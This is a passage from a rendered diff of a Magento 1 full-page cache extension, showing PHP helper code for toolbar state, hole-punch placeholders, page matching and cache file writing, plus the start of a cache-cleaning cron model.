$query .= '/' . $key . '/' . $value;
|
137 |
+
else
|
138 |
+
$query .= '/' . $key . '/' . implode(",", $value);
|
139 |
+
}
|
140 |
+
$routeParams['_query'][$key] = null;
|
141 |
+
}
|
142 |
+
|
143 |
+
$uri = $this->getVarFromEzoomHandler('base_uri'). (strlen($query) > 0 ? $this->getVarFromEzoomHandler('GET_URI_MARK') . $query : '');
|
144 |
+
if (substr($uri, 0, 1)=='/')
|
145 |
+
$uri = substr($uri, 1);
|
146 |
+
|
147 |
+
$routeParams['_direct'] = str_replace('//', '/', $uri);
|
148 |
+
$routeParams['_nosid'] = true;
|
149 |
+
|
150 |
+
}
|
151 |
+
|
152 |
+
}
|
153 |
+
|
154 |
+
}
|
155 |
+
|
156 |
+
return array($routePath, $routeParams, $no_reorder);
|
157 |
+
|
158 |
+
}
|
159 |
+
|
160 |
+
public function getHelperToolbar() {
|
161 |
+
|
162 |
+
if (is_null($this->_helper_toolbar))
|
163 |
+
$this->_helper_toolbar = Mage::getSingleton('core/layout')->getBlock("product_list_toolbar");
|
164 |
+
|
165 |
+
if (!is_object($this->_helper_toolbar))
|
166 |
+
$this->_helper_toolbar = Mage::getSingleton('core/layout')->createBlock('catalog/product_list_toolbar')->setNameInLayout('helperbar');
|
167 |
+
|
168 |
+
return $this->_helper_toolbar;
|
169 |
+
|
170 |
+
}
|
171 |
+
|
172 |
+
public function getToolbarState() {
|
173 |
+
|
174 |
+
if (is_null($this->_helper_toolbar_state)) {
|
175 |
+
|
176 |
+
$toolbar = $this->getHelperToolbar();
|
177 |
+
|
178 |
+
$mode = explode("-", Mage::getStoreConfig('catalog/frontend/list_mode'));
|
179 |
+
$limit = Mage::getStoreConfig("catalog/frontend/{$mode[0]}_per_page");
|
180 |
+
|
181 |
+
|
182 |
+
$control = array(
|
183 |
+
$toolbar->getDirectionVarName() => $toolbar->getCurrentDirection(),
|
184 |
+
$toolbar->getLimitVarName() => $toolbar->getLimit(),
|
185 |
+
$toolbar->getModeVarName() => $toolbar->getCurrentMode(),
|
186 |
+
$toolbar->getOrderVarName() => $toolbar->getCurrentOrder());
|
187 |
+
|
188 |
+
$default = array(
|
189 |
+
$toolbar->getDirectionVarName() => $toolbar->getDefaultDirection(),
|
190 |
+
$toolbar->getLimitVarName() => $toolbar->getDefaultPerPageValue(),
|
191 |
+
$toolbar->getModeVarName() => $mode[0],
|
192 |
+
$toolbar->getOrderVarName() => $toolbar->getDefaultOrder());
|
193 |
+
|
194 |
+
if ( Mage::registry('current_category') && Mage::registry('current_category')->getDefaultSortBy() != '' )
|
195 |
+
$default[$toolbar->getOrderVarName()] = Mage::registry('current_category')->getDefaultSortBy();
|
196 |
+
|
197 |
+
$page = array($toolbar->getPageVarName() => ($toolbar->getCurrentPage() < 1 ? 1 : $toolbar->getCurrentPage()));
|
198 |
+
|
199 |
+
|
200 |
+
$collection = Mage::getResourceModel('catalog/product_attribute_collection');
|
201 |
+
$collection
|
202 |
+
->setItemObjectClass('catalog/resource_eav_attribute')
|
203 |
+
->addStoreLabel(Mage::app()->getStore()->getId())
|
204 |
+
->setOrder('position', 'ASC')
|
205 |
+
->addIsFilterableFilter();
|
206 |
+
|
207 |
+
$attributes = $collection->load();
|
208 |
+
|
209 |
+
$active_filters = array();
|
210 |
+
foreach (Mage::getSingleton('catalog/layer')->getState()->getFilters() as $filter) {
|
211 |
+
$active_filters[$filter->getFilter()->getRequestVar()] = $filter->getValue();
|
212 |
+
}
|
213 |
+
|
214 |
+
|
215 |
+
$filters = array('cat'=>null);
|
216 |
+
|
217 |
+
foreach ($attributes as $attribute)
|
218 |
+
$filters[$attribute->getattributeCode()] = null;
|
219 |
+
|
220 |
+
foreach ($filters as $key => $value) {
|
221 |
+
if (array_key_exists($key, $active_filters))
|
222 |
+
if (is_array($active_filters[$key]))
|
223 |
+
$filters[$key] = implode(",", $active_filters[$key]);
|
224 |
+
else
|
225 |
+
$filters[$key] = $active_filters[$key];
|
226 |
+
}
|
227 |
+
|
228 |
+
ksort($control);
|
229 |
+
ksort($default);
|
230 |
+
ksort($page);
|
231 |
+
ksort($filters);
|
232 |
+
|
233 |
+
$this->_helper_toolbar_state = array('control' => $control, 'page' => $page, 'default'=> $default, 'filters' => $filters);
|
234 |
+
}
|
235 |
+
|
236 |
+
return $this->_helper_toolbar_state;
|
237 |
+
}
|
238 |
+
|
239 |
+
|
240 |
+
public function getVarFromEzoomHandler($name) {
|
241 |
+
if (count($this->_zoom_handler_data) < 1 && class_exists('Ezapps_Zoom_Handler')) {
|
242 |
+
$zoom = Ezapps_Zoom_Handler::getInstance();
|
243 |
+
$this->_zoom_handler_data = $zoom->getVars();
|
244 |
+
}
|
245 |
+
|
246 |
+
if (array_key_exists($name, $this->_zoom_handler_data))
|
247 |
+
return $this->_zoom_handler_data[$name];
|
248 |
+
else return null;
|
249 |
+
}
|
250 |
+
|
251 |
+
public function generateClientRewrites() {
|
252 |
+
|
253 |
+
if (Mage::app()->getLayout()->getArea() != 'frontend')
|
254 |
+
return;
|
255 |
+
|
256 |
+
$toolbar = $this->getToolbarState();
|
257 |
+
|
258 |
+
if (is_null($toolbar))
|
259 |
+
return;
|
260 |
+
|
261 |
+
$toolbar_helper = $this->getHelperToolbar();
|
262 |
+
|
263 |
+
$toolbar['default'][$toolbar_helper->getOrderVarName()] = $toolbar_helper->getDefaultOrder();
|
264 |
+
|
265 |
+
foreach (Mage::getModel('core/store')->getCollection() as $store)
|
266 |
+
$stores[] = $store->getId();
|
267 |
+
|
268 |
+
foreach ($stores as $store_id) {
|
269 |
+
|
270 |
+
$data = array('package' => Mage::getStoreConfig("design/package/ua_regexp", $store_id),
|
271 |
+
'template' => Mage::getStoreConfig("design/theme/template_ua_regexp", $store_id),
|
272 |
+
'theme' => Mage::getStoreConfig("design/theme/default_ua_regexp", $store_id),
|
273 |
+
'controls' => $toolbar);
|
274 |
+
|
275 |
+
$url = parse_url(Mage::getStoreConfig("web/unsecure/base_url", $store_id));
|
276 |
+
$urlssl = parse_url(Mage::getStoreConfig("web/secure/base_url", $store_id));
|
277 |
+
|
278 |
+
$file = DS . $this->getVarFromEzoomHandler('STORE') . DS . $this->getVarFromEzoomHandler('ZOOM_CLIENT_MATCH_DATA');
|
279 |
+
|
280 |
+
Mage::helper('ezzoom')->saveFile($file, json_encode($data), true);
|
281 |
+
|
282 |
+
if (function_exists('apc_add')) {
|
283 |
+
if (apc_exists($this->getVarFromEzoomHandler('APC_KEY') . $file))
|
284 |
+
apc_delete($this->getVarFromEzoomHandler('APC_KEY') . $file);
|
285 |
+
|
286 |
+
apc_add($this->getVarFromEzoomHandler('APC_KEY') . $file, $data);
|
287 |
+
}
|
288 |
+
|
289 |
+
|
290 |
+
}
|
291 |
+
}
|
292 |
+
|
293 |
+
public function setRewrites($field, $value) {
|
294 |
+
|
295 |
+
$this->_save_rewrites[$field] = $value;
|
296 |
+
|
297 |
+
}
|
298 |
+
|
299 |
+
public function getRewrites() {
|
300 |
+
|
301 |
+
return $this->_save_rewrites;
|
302 |
+
|
303 |
+
}
|
304 |
+
|
305 |
+
public function getConfigData($field, $code = "basicsettings", $store_id=null)
|
306 |
+
{
|
307 |
+
$path = $this->_key.'/'.$code.'/'.$field;
|
308 |
+
|
309 |
+
if (!array_key_exists($path, $this->_config))
|
310 |
+
$this->_config[$path] = Mage::getStoreConfig($path);
|
311 |
+
|
312 |
+
return $this->_config[$path];
|
313 |
+
}
|
314 |
+
|
315 |
+
public function clearCache($id)
|
316 |
+
{
|
317 |
+
|
318 |
+
$page = Mage::getModel('ezzoom/page')->load($id);
|
319 |
+
$collection = Mage::getModel('ezzoom/page')->getCollection()
|
320 |
+
->addFieldToFilter('store_id', array('eq' => $page->getStoreId()))
|
321 |
+
->addFieldToFilter('uri', array('eq' => $page->getUri()));
|
322 |
+
|
323 |
+
$collection->delete();
|
324 |
+
|
325 |
+
}
|
326 |
+
|
327 |
+
public function flushCache($time = 0) {
|
328 |
+
|
329 |
+
if ($time == 0) {
|
330 |
+
$collection = Mage::getModel('ezzoom/page')->getCollection();
|
331 |
+
} else {
|
332 |
+
|
333 |
+
$from = Mage::getSingleton('core/date')->date(null, $time-(84000*365*2));
|
334 |
+
$to = Mage::getSingleton('core/date')->date(null, $time);
|
335 |
+
|
336 |
+
$collection = Mage::getModel('ezzoom/page')->getCollection()
|
337 |
+
->addFieldToFilter('expires', array('to' => $to, 'from' => $from));
|
338 |
+
}
|
339 |
+
|
340 |
+
$collection->delete();
|
341 |
+
|
342 |
+
}
|
343 |
+
|
344 |
+
public function fetchHoleRecord($main_key, $main_template) {
|
345 |
+
|
346 |
+
if (array_key_exists($main_key, $this->_holes)) {
|
347 |
+
$repeat_hole = false;
|
348 |
+
foreach ($this->_holes[$main_key] as $key => $template) {
|
349 |
+
if ($main_template==$template) {
|
350 |
+
$repeat_hole = true;
|
351 |
+
}
|
352 |
+
}
|
353 |
+
|
354 |
+
if (!$repeat_hole) {
|
355 |
+
$key = $main_key . (count($this->_holes[$key]) + 1);
|
356 |
+
$this->_holes[$main_key][$key] = $main_template;
|
357 |
+
}
|
358 |
+
|
359 |
+
return $key;
|
360 |
+
|
361 |
+
} else {
|
362 |
+
$this->_holes[$main_key] = array();
|
363 |
+
$this->_holes[$main_key][$main_key] = $main_template;
|
364 |
+
return $main_key;
|
365 |
+
}
|
366 |
+
|
367 |
+
}
|
368 |
+
|
369 |
+
public function renderHoleStart($key, $template)
|
370 |
+
{
|
371 |
+
|
372 |
+
$key = $this->fetchHoleRecord($key, $template);
|
373 |
+
|
374 |
+
if ($this->getDebugProfile())
|
375 |
+
$prefix = "<div style=\"border:solid 1px #444444\"><div style=\"border:solid 2px #6F8992\">" .
|
376 |
+
"<div style=\"background-color:#6F8992;color:white;font-weight:bold\">ezzoom-{$key}</div>";
|
377 |
+
else $prefix = "";
|
378 |
+
|
379 |
+
return "{$prefix}<span id=\"" . $this->genClass($key) . "\">" . $this->getHoleStartTag($key);
|
380 |
+
|
381 |
+
}
|
382 |
+
|
383 |
+
public function renderHoleEnd($key, $template)
|
384 |
+
{
|
385 |
+
|
386 |
+
$key = $this->fetchHoleRecord($key, $template);
|
387 |
+
|
388 |
+
if ($this->getDebugProfile())
|
389 |
+
$postfix = "</div></div>";
|
390 |
+
else $postfix = "";
|
391 |
+
|
392 |
+
return $this->getHoleEndTag($key) . "</span>{$postfix}";
|
393 |
+
|
394 |
+
}
|
395 |
+
|
396 |
+
private function genClass($key)
|
397 |
+
{
|
398 |
+
|
399 |
+
return "ezzoom-{$key}";
|
400 |
+
|
401 |
+
}
|
402 |
+
|
403 |
+
private function getHoleStartTag($key)
|
404 |
+
{
|
405 |
+
|
406 |
+
return $this->getVarFromEzoomHandler('HOLE_START') . $this->genClass($key) . $this->getVarFromEzoomHandler('HOLE_END_PRE');
|
407 |
+
|
408 |
+
}
|
409 |
+
|
410 |
+
private function getHoleEndTag($key)
|
411 |
+
{
|
412 |
+
|
413 |
+
return $this->getVarFromEzoomHandler('HOLE_START') . $this->genClass($key) . $this->getVarFromEzoomHandler('HOLE_END_POST');
|
414 |
+
|
415 |
+
}
|
416 |
+
|
417 |
+
public function renderHeaderDebug($buffer) {
|
418 |
+
|
419 |
+
if (Mage::app()->getLayout()->getBlock('root')) {
|
420 |
+
if (Mage::app()->getLayout()->getBlock('root')->getTemplate() != "") {
|
421 |
+
|
422 |
+
if ($this->matchedPage() == 1)
|
423 |
+
$buffer = $this->getHeaderIncluded() . $buffer;
|
424 |
+
}
|
425 |
+
}
|
426 |
+
|
427 |
+
return $buffer;
|
428 |
+
|
429 |
+
}
|
430 |
+
|
431 |
+
public function punchHoles ($buffer)
|
432 |
+
{
|
433 |
+
|
434 |
+
$fill = $this->getVarFromEzoomHandler('DEFAULT_FILL');
|
435 |
+
|
436 |
+
$code = Mage::app()->getStore()->getCode();
|
437 |
+
if (is_array($fill) && array_key_exists($code, $fill))
|
438 |
+
$fill = $fill[$code];
|
439 |
+
|
440 |
+
$search = array('{{secure_url}}', '{{unsecure_url}}');
|
441 |
+
$replace = array(Mage::getUrl('',array('_secure'=>true)), Mage::getUrl('',array('_secure'=>false)));
|
442 |
+
|
443 |
+
foreach ($this->getHoles() as $key) {
|
444 |
+
|
445 |
+
$start = $this->getHoleStartTag($key);
|
446 |
+
$end = $this->getHoleEndTag($key);
|
447 |
+
|
448 |
+
if (array_key_exists($key, $fill)) {
|
449 |
+
$default = str_replace($search, $replace, $fill[$key]);
|
450 |
+
} else
|
451 |
+
$default = '';
|
452 |
+
|
453 |
+
$buffer = preg_replace("#$start(.*)$end#sU", $default, $buffer);
|
454 |
+
}
|
455 |
+
|
456 |
+
return $buffer;
|
457 |
+
|
458 |
+
}
|
459 |
+
|
460 |
+
public function setRenderTime($time) {
|
461 |
+
|
462 |
+
$this->_render_time = $time;
|
463 |
+
|
464 |
+
}
|
465 |
+
|
466 |
+
public function getHeaderIncluded() {
|
467 |
+
$header = trim($this->getConfigData('header_string_include', 'debug'));
|
468 |
+
if ($header != '') {
|
469 |
+
$search = array('%SYSTIME', '%GENTIME%', '%FILE%');
|
470 |
+
$replace = array(date("r", Mage::getModel('core/date')->timestamp(time())), $this->_render_time, $this->_file_name);
|
471 |
+
return str_replace($search, $replace, $header);
|
472 |
+
} else return false;
|
473 |
+
}
|
474 |
+
|
475 |
+
public function getDebugAjax()
|
476 |
+
{
|
477 |
+
|
478 |
+
return $this->getConfigData('ajax_debug', 'debug');
|
479 |
+
}
|
480 |
+
|
481 |
+
public function getDebugProfile()
|
482 |
+
{
|
483 |
+
|
484 |
+
return $this->getConfigData('hole_punch_profile', 'debug');
|
485 |
+
}
|
486 |
+
|
487 |
+
public function getHolesData()
|
488 |
+
{
|
489 |
+
|
490 |
+
return $this->_holes;
|
491 |
+
|
492 |
+
}
|
493 |
+
|
494 |
+
public function compress($ajax_state) {
|
495 |
+
return base64_encode(addslashes(gzcompress($ajax_state, 6)));
|
496 |
+
}
|
497 |
+
|
498 |
+
public function decompress($ajax_state) {
|
499 |
+
return gzuncompress(stripslashes(base64_decode($ajax_state)));
|
500 |
+
}
|
501 |
+
|
502 |
+
public function getHoles()
|
503 |
+
{
|
504 |
+
$holes = array();
|
505 |
+
|
506 |
+
foreach ($this->_holes as $module) {
|
507 |
+
foreach ($module as $key => $template) {
|
508 |
+
$holes[] = $key;
|
509 |
+
}
|
510 |
+
}
|
511 |
+
|
512 |
+
return $holes;
|
513 |
+
|
514 |
+
}
|
515 |
+
|
516 |
+
public function setMatchedPage($value) {
|
517 |
+
|
518 |
+
if ($this->isEnabled() == true)
|
519 |
+
$this->_matched_page = $value;
|
520 |
+
|
521 |
+
}
|
522 |
+
|
523 |
+
public function setToolBarFinder($value) {
|
524 |
+
$this->_tool_bar_finder = $value;
|
525 |
+
}
|
526 |
+
|
527 |
+
public function getToolBarFinder($value) {
|
528 |
+
return $this->_tool_bar_finder;
|
529 |
+
}
|
530 |
+
|
531 |
+
public function matchedPage() {
|
532 |
+
|
533 |
+
if (!class_exists('Ezapps_Zoom_Handler')) {
|
534 |
+
|
535 |
+
$this->_matched_page = false;
|
536 |
+
return false;
|
537 |
+
|
538 |
+
}
|
539 |
+
|
540 |
+
if (is_null($this->_matched_page)) {
|
541 |
+
|
542 |
+
if ($this->isEnabled() != true) {
|
543 |
+
$this->_matched_page = false;
|
544 |
+
return false;
|
545 |
+
}
|
546 |
+
|
547 |
+
if (Mage::app()->getFrontController()->getRequest()->isAjax()) {
|
548 |
+
$this->_matched_page = false;
|
549 |
+
return false;
|
550 |
+
}
|
551 |
+
|
552 |
+
$this->_ttl = $this->getConfigData('cache_ttl', 'cache_control');
|
553 |
+
|
554 |
+
$module = Mage::app()->getFrontController()->getRequest()->getModuleName();
|
555 |
+
$controller = Mage::app()->getFrontController()->getRequest()->getControllerName();
|
556 |
+
$action = Mage::app()->getFrontController()->getRequest()->getActionName();
|
557 |
+
|
558 |
+
|
559 |
+
if ($module == 'catalog' && $controller == 'category') {
|
560 |
+
if ($this->getConfigData('zoom_category', 'cache_control')) {
|
561 |
+
$this->_matched_page = true;
|
562 |
+
$this->_ttl = $this->getConfigData('cache_category_ttl', 'cache_control');
|
563 |
+
} else $this->_matched_page = false;
|
564 |
+
} else if ($module == 'catalog' && $controller == 'product' && $action == 'view') {
|
565 |
+
if ($this->getConfigData('zoom_product', 'cache_control')) {
|
566 |
+
$this->_matched_page = true;
|
567 |
+
$this->_ttl = $this->getConfigData('cache_product_ttl', 'cache_control');
|
568 |
+
} else $this->_matched_page = false;
|
569 |
+
} else if ($module == 'review' && $controller == 'product' && $action == 'list') {
|
570 |
+
if ($this->getConfigData('zoom_review', 'cache_control')) {
|
571 |
+
$this->_matched_page = true;
|
572 |
+
$this->_ttl = $this->getConfigData('cache_review_ttl', 'cache_control');
|
573 |
+
} else $this->_matched_page = false;
|
574 |
+
} else if ($module == 'cms' && $controller == 'index' && ($action == 'noRoute' || $action == 'defaultNoRoute')) {
|
575 |
+
$this->_matched_page = false;
|
576 |
+
return false;
|
577 |
+
} else if ($module == 'cms' && ($controller == 'page' || $controller == 'index')) {
|
578 |
+
if ($this->getConfigData('zoom_cms', 'cache_control')) {
|
579 |
+
$this->_matched_page = true;
|
580 |
+
$this->_ttl = $this->getConfigData('cache_cms_ttl', 'cache_control');
|
581 |
+
} else $this->_matched_page = false;
|
582 |
+
} else
|
583 |
+
$this->_matched_page = false;
|
584 |
+
|
585 |
+
if ($this->_matched_page == false) {
|
586 |
+
if ($this->regexMatchSimple($this->getConfigData('zoom_include_modules', 'cache_control'), "{$module}_{$controller}_{$action}"))
|
587 |
+
$this->_matched_page = true;
|
588 |
+
}
|
589 |
+
|
590 |
+
if ($this->_matched_page == false) {
|
591 |
+
if ($this->regexMatchSimple($this->getConfigData('zoom_include_uri', 'cache_control'), $this->getVarFromEzoomHandler('REQUEST')))
|
592 |
+
$this->_matched_page = true;
|
593 |
+
}
|
594 |
+
|
595 |
+
if ($this->_matched_page == true) {
|
596 |
+
if ($this->regexMatchSimple($this->getConfigData('zoom_exclude_modules', 'cache_control'), "{$module}_{$controller}_{$action}"))
|
597 |
+
$this->_matched_page = false;
|
598 |
+
}
|
599 |
+
|
600 |
+
if ($this->_matched_page == true) {
|
601 |
+
if ($this->regexMatchSimple($this->getConfigData('zoom_exclude_uri', 'cache_control'), $this->getVarFromEzoomHandler('REQUEST')))
|
602 |
+
$this->_matched_page = false;
|
603 |
+
}
|
604 |
+
|
605 |
+
if ($this->_matched_page == true) {
|
606 |
+
|
607 |
+
Mage::getSingleton('customer/session')->setLastEzzoomUrl(Mage::helper('core/url')->getCurrentUrl());
|
608 |
+
|
609 |
+
$package_check = Mage::getStoreConfig("design/package/ua_regexp");
|
610 |
+
$template_check = Mage::getStoreConfig("design/theme/template_ua_regexp");
|
611 |
+
$theme_check = Mage::getStoreConfig("design/theme/default_ua_regexp");
|
612 |
+
|
613 |
+
$this->_rewrite_package = $this->regexMatchUserAgent($package_check);
|
614 |
+
$this->_rewrite_template = $this->regexMatchUserAgent($template_check);
|
615 |
+
$this->_rewrite_theme = $this->regexMatchUserAgent($theme_check);
|
616 |
+
}
|
617 |
+
|
618 |
+
}
|
619 |
+
|
620 |
+
return $this->_matched_page;
|
621 |
+
|
622 |
+
}
|
623 |
+
|
624 |
+
public function getCacheMatch () {
|
625 |
+
return $this->_cache_match;
|
626 |
+
}
|
627 |
+
|
628 |
+
public function setCacheMatch($key) {
|
629 |
+
$this->_cache_match = $key;
|
630 |
+
|
631 |
+
}
|
632 |
+
|
633 |
+
public function isEnabled() {
|
634 |
+
|
635 |
+
return $this->getConfigData('active');
|
636 |
+
|
637 |
+
}
|
638 |
+
|
639 |
+
public function punchStatus($key)
|
640 |
+
{
|
641 |
+
|
642 |
+
if ($this->isEnabled()) {
|
643 |
+
if ($this->matchedPage() || ($key == 'currency'))
|
644 |
+
return $this->getConfigData('punch_' . $key, 'holepunch');
|
645 |
+
} else
|
646 |
+
return false;
|
647 |
+
}
|
648 |
+
|
649 |
+
public function regexMatchUserAgent($regex) {
|
650 |
+
|
651 |
+
if (!$regex)
|
652 |
+
return '';
|
653 |
+
|
654 |
+
$rules = @unserialize($regex);
|
655 |
+
|
656 |
+
if (empty($rules))
|
657 |
+
return '';
|
658 |
+
|
659 |
+
foreach ($rules as $rule) {
|
660 |
+
|
661 |
+
$regexp = '/' . trim($rule['regexp'], '/') . '/';
|
662 |
+
if (@preg_match($regexp, $this->getVarFromEzoomHandler('AGENT')))
|
663 |
+
return $rule['value'];
|
664 |
+
|
665 |
+
}
|
666 |
+
|
667 |
+
return '';
|
668 |
+
|
669 |
+
}
|
670 |
+
|
671 |
+
public function regexMatchSimple($regex, $matchTerm) {
|
672 |
+
|
673 |
+
if (!$regex)
|
674 |
+
return false;
|
675 |
+
|
676 |
+
$rules = @unserialize($regex);
|
677 |
+
|
678 |
+
if (empty($rules))
|
679 |
+
return false;
|
680 |
+
|
681 |
+
foreach ($rules as $rule) {
|
682 |
+
|
683 |
+
$regexp = '#' . trim($rule['regexp'], '#') . '#';
|
684 |
+
if (@preg_match($regexp, $matchTerm))
|
685 |
+
return true;
|
686 |
+
|
687 |
+
}
|
688 |
+
|
689 |
+
return false;
|
690 |
+
|
691 |
+
}
|
692 |
+
|
693 |
+
public function saveFile($file_name, $data, $straight_save = false) {
|
694 |
+
|
695 |
+
$root = Mage::getBaseDir() . DS . $this->getVarFromEzoomHandler('ZOOM_ROOT');
|
696 |
+
|
697 |
+
if ($straight_save != false) {
|
698 |
+
|
699 |
+
$this->createPathToFile($root . DS . $file_name, array(), false);
|
700 |
+
|
701 |
+
file_put_contents($root . DS . $file_name, $data);
|
702 |
+
|
703 |
+
return null;
|
704 |
+
|
705 |
+
}
|
706 |
+
|
707 |
+
|
708 |
+
$base = $root . DS . $this->getVarFromEzoomHandler('STORE');
|
709 |
+
|
710 |
+
if ($this->_rewrite_package != '' || $this->_rewrite_template != '' || $this->_rewrite_theme != '') {
|
711 |
+
|
712 |
+
if ($this->_rewrite_package != '')
|
713 |
+
$base .= DS . $this->_rewrite_package;
|
714 |
+
else
|
715 |
+
$base .= DS . 'default';
|
716 |
+
|
717 |
+
if ($this->_rewrite_template != '')
|
718 |
+
$base .= DS . $this->_rewrite_template;
|
719 |
+
else
|
720 |
+
$base .= DS . 'default';
|
721 |
+
|
722 |
+
if ($this->_rewrite_theme != '')
|
723 |
+
$base .= DS . $this->_rewrite_theme;
|
724 |
+
else
|
725 |
+
$base .= DS . 'default';
|
726 |
+
|
727 |
+
}
|
728 |
+
|
729 |
+
$file_name = $base . $file_name;
|
730 |
+
|
731 |
+
$symlink = null;
|
732 |
+
|
733 |
+
if ($this->_tool_bar_finder && ((is_object(Mage::getSingleton('core/layout')->getBlock("product_list_toolbar"))
|
734 |
+
|| Mage::registry('current_category')) && !Mage::registry('current_product'))) {
|
735 |
+
|
736 |
+
$attributes = array();
|
737 |
+
$base_page = true;
|
738 |
+
$params = array();
|
739 |
+
|
740 |
+
$state = $this->getToolbarState();
|
741 |
+
|
742 |
+
$request = Mage::app()->getFrontController()->getRequest();
|
743 |
+
|
744 |
+
|
745 |
+
$params = array_merge($state['page'], $state['control']);
|
746 |
+
|
747 |
+
foreach ($state['control'] as $key => $value)
|
748 |
+
if ($value != $state['default'][$key]) {
|
749 |
+
$base_page = false;
|
750 |
+
$break;
|
751 |
+
}
|
752 |
+
|
753 |
+
foreach ($state['filters'] as $key => $value)
|
754 |
+
if ($request->getParam($key) != '')
|
755 |
+
$attributes[$key] = urlencode($request->getParam($key));
|
756 |
+
|
757 |
+
if (count($attributes) > 0) {
|
758 |
+
$base_page = false;
|
759 |
+
$params = array_merge($params, $attributes);
|
760 |
+
}
|
761 |
+
|
762 |
+
|
763 |
+
|
764 |
+
if ($base_page == true)
|
765 |
+
$symlink = $this->createPathToFile($file_name . DS . $this->getVarFromEzoomHandler('GET_POSTFIX'), $state['page']);
|
766 |
+
else $params = array_merge($state['page'], $params);
|
767 |
+
|
768 |
+
$file_name = $this->createPathToFile($file_name . DS . $this->getVarFromEzoomHandler('GET_POSTFIX'), $params);
|
769 |
+
|
770 |
+
} else {
|
771 |
+
$file_name = $this->createPathToFile($file_name, array(), false);
|
772 |
+
}
|
773 |
+
$this->_file_name = $file_name;
|
774 |
+
|
775 |
+
|
776 |
+
|
777 |
+
if (!file_exists($file_name)) {
|
778 |
+
|
779 |
+
$page = Mage::getModel('ezzoom/page')
|
780 |
+
->setStoreId(Mage::app()->getStore()->getId())
|
781 |
+
->setStoreCode(Mage::app()->getStore()->getCode())
|
782 |
+
->setUri($this->getVarFromEzoomHandler('base_uri'))
|
783 |
+
->setExpires(($this->_ttl > 0 ? Mage::getSingleton('core/date')->date(null, time()+$this->_ttl) : NULL))
|
784 |
+
->setFilename($file_name)
|
785 |
+
->setServer($this->getVarFromEzoomHandler('SERVER'))
|
786 |
+
->setIsSecure(Mage::app()->getStore()->isCurrentlySecure())
|
787 |
+
->save();
|
788 |
+
|
789 |
+
$page_id = $page->getId();
|
790 |
+
|
791 |
+
$data = str_replace($this->getVarFromEzoomHandler('TAG_PAGE'), $page_id, $data);
|
792 |
+
$data = str_replace($this->getVarFromEzoomHandler('TAG_FILE'), Mage::helper('ezzoom')->compress($page->getFilename()), $data);
|
793 |
+
|
794 |
+
} else { $page_id = 0; return 0; }
|
795 |
+
|
796 |
+
if ($this->getConfigData('gzip') > 0) {
|
797 |
+
|
798 |
+
if ($this->getConfigData('gzip_copy') == 1) {
|
799 |
+
file_put_contents($file_name . ".gz", gzencode($data, $this->getConfigData('gzip')));
|
800 |
+
file_put_contents($file_name, $data);
|
801 |
+
if ($symlink) {
|
802 |
+
if (!file_exists($symlink . ".gz"))
|
803 |
+
symlink($file_name . ".gz", $symlink . ".gz");
|
804 |
+
if (!file_exists($symlink))
|
805 |
+
symlink($file_name, $symlink);
|
806 |
+
}
|
807 |
+
} else {
|
808 |
+
file_put_contents($file_name, gzencode($data, $this->getConfigData('gzip')));
|
809 |
+
if ($symlink)
|
810 |
+
if (!file_exists($symlink))
|
811 |
+
symlink($file_name, $symlink);
|
812 |
+
}
|
813 |
+
|
814 |
+
} else {
|
815 |
+
|
816 |
+
file_put_contents($file_name, $data);
|
817 |
+
if ($symlink)
|
818 |
+
if (!file_exists($symlink))
|
819 |
+
symlink($file_name, $symlink);
|
820 |
+
|
821 |
+
|
822 |
+
}
|
823 |
+
|
824 |
+
return $page_id;
|
825 |
+
|
826 |
+
}
|
827 |
+
|
828 |
+
public function deleteFile($filename) {
|
829 |
+
if (file_exists($filename))
|
830 |
+
unlink($filename);
|
831 |
+
|
832 |
+
if (file_exists($filename . ".gz"))
|
833 |
+
unlink($filename . ".gz");
|
834 |
+
|
835 |
+
|
836 |
+
}
|
837 |
+
|
838 |
+
public function createPathToFile($file_name, $params = array(), $add_index = true) {
|
839 |
+
|
840 |
+
if (is_array($params))
|
841 |
+
foreach ($params as $key => $value)
|
842 |
+
$file_name .= DS . $key . DS . $value;
|
843 |
+
|
844 |
+
if ($add_index == true)
|
845 |
+
$file_name .= DS . $this->getVarFromEzoomHandler('ZOOM_INDEX');
|
846 |
+
|
847 |
+
$file_name = str_replace(DS . DS, DS, $file_name);
|
848 |
+
|
849 |
+
$path = explode(DS, $file_name);
|
850 |
+
|
851 |
+
$real_file_name = array_pop($path);
|
852 |
+
if ($real_file_name == '')
|
853 |
+
$real_file_name = $this->getVarFromEzoomHandler('ZOOM_INDEX');
|
854 |
+
|
855 |
+
$path_finished = "";
|
856 |
+
|
857 |
+
if ($path[0] == '')
|
858 |
+
array_shift($path);
|
859 |
+
|
860 |
+
foreach ($path as $directory) {
|
861 |
+
if (!file_exists($path_finished . DS . $directory)) {
|
862 |
+
mkdir($path_finished . DS . $directory);
|
863 |
+
}
|
864 |
+
$path_finished .= DS . $directory;
|
865 |
+
}
|
866 |
+
|
867 |
+
return $path_finished . DS . $real_file_name;
|
868 |
+
|
869 |
+
}
|
870 |
+
}
|
app/code/local/Ezapps/Zoom/Model/Cron.php
ADDED
@@ -0,0 +1,41 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
|
3 |
+
/**
|
4 |
+
* Zoom Page Cron Model
|
5 |
+
*
|
6 |
+
* @category Ezapps
|
7 |
+
* @package Ezapps_Zoom
|
8 |
+
* @author Ezra Morse (http://www.ezapps.ca)
|
9 |
+
* @license: EPL 1.0
|
10 |
+
*/
|
11 |
+
|
12 |
+
class Ezapps_Zoom_Model_Cron extends Mage_Core_Model_Abstract
|
13 |
+
{
|
14 |
+
|
15 |
+
protected static $has_ran = false;
|
16 |
+
|
17 |
+
public static function cleanCache() {
|
18 |
+
|
19 |
+
if(self::$has_ran != true && self::isLocked() != true){
|
20 |
+
Mage::helper('ezzoom')->flushCache(time());
|
21 |
+
Mage::app()->removeCache('ezzoom_cron_lock');
|
22 |
+
self::$has_ran = true;
|
23 |
+
}
|
24 |
+
|
25 |
+
}
|
26 |
+
|
27 |
+
public static function isLocked(){
|
28 |
+
$time = Mage::app()->loadCache('ezzoom_cron_lock');
|
29 |
+
if ($time){
|
30 |
+
if((time() - $time) > 1200)
|
31 |
+
Mage::app()->removeCache('ezzoom_cron_lock');
|
32 |
+
|
33 |
+
return true;
|
34 |
+
}
|
35 |
+
|
36 |
+
Mage::app()->saveCache(time(), 'ezzoom_cron_lock', array(), 1200);
|
